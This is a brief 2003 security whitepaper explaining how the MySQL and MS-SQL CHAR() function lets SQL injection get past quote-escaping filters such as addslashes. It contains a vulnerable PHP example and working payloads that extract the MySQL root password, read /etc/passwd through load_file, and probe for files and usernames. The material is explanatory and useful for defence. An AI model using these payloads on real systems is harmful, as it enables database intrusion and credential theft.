@2003 Martin Eiszner ******************************************************* SQL-INJECTION USING THE MySQL(and others) char() SYNTAX ******************************************************* OVERVIEW ======== This mini-whitpaper describes how mysql(and other dbms-systems) features can be used to circumvent weak input validation techniques. Please not that this is NOT about a security vulnerability. It is just a demonstration how software specific functionality can become dangerous when forgotten. DETAILS ======= Manny DBMS systems support the char() string function. This function interprets the arguments as integers and returns a string consisting of the characters given by the ASCII code values of those integers. NULL values are skipped: So the following mysql - statements: ---*--- SELECT CHAR(77,121,83,81,76); ---*--- would return: ---*--- "MySQL" ---*--- Together with the SELECT statement this feature could be used to perform typical Sql-injection attacks even when quotes are removed or escaped from numerical user input. A typical example in PHP could look like this: ---*--- SomeDbScript.php: ---cut here--- // code // $sid = addslashes($_GET['id']); $q = "SELECT * FROM users WHERE id=$sid;"; $rs = mysql_query($q); if (!$query) // aso. // // ---cur here--- ---*--- The coder was carefull and added slashes to the user input. so we cannot use "'" to perform sql-injection. but we still can use the mysql char function! So if we request the script-url with the following ID value: ---*--- "9999 union select 1,1,1,1,password from mysql.user where user=char(114,111,111,116)-- " ---*--- (of course we brute forced the number of fields in the resultset before) .. we get the password of the mysql root user in one of the scripts output-fields. OTHER EXAMPLES of char Usage Inject without quotes (string = "%"): SELECT * from users where id = 1 or username like char(37); Inject without quotes (string = "root"): SELECT * from users where id = union select * from users where username = char(114,111,111,116); Load files in unions (string = "/etc/passwd"): select firstname,lastname from users union select 1,(load_file(char(47,101,116,99,47,112,97,115,115,119,100))); Check for existing files (string = "n.ext"): select id from table where id = 1 and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); Brute force mysql username (string = "%root%"): select id,Name,password from Users where id = 1 and (user() like char(37,114,111,111,116,37)); Addendum 1 - MS-SQL =================== MS-SQL also allows the usage of the CHAR() function within SELECT Statements. The MS-SQL Syntax for joining strings with the CHAR() function is: ---*--- char(#nr)+char(#nr)+char(#nr) ---*--- --- @2003 Martin Eiszner / mei@websec.org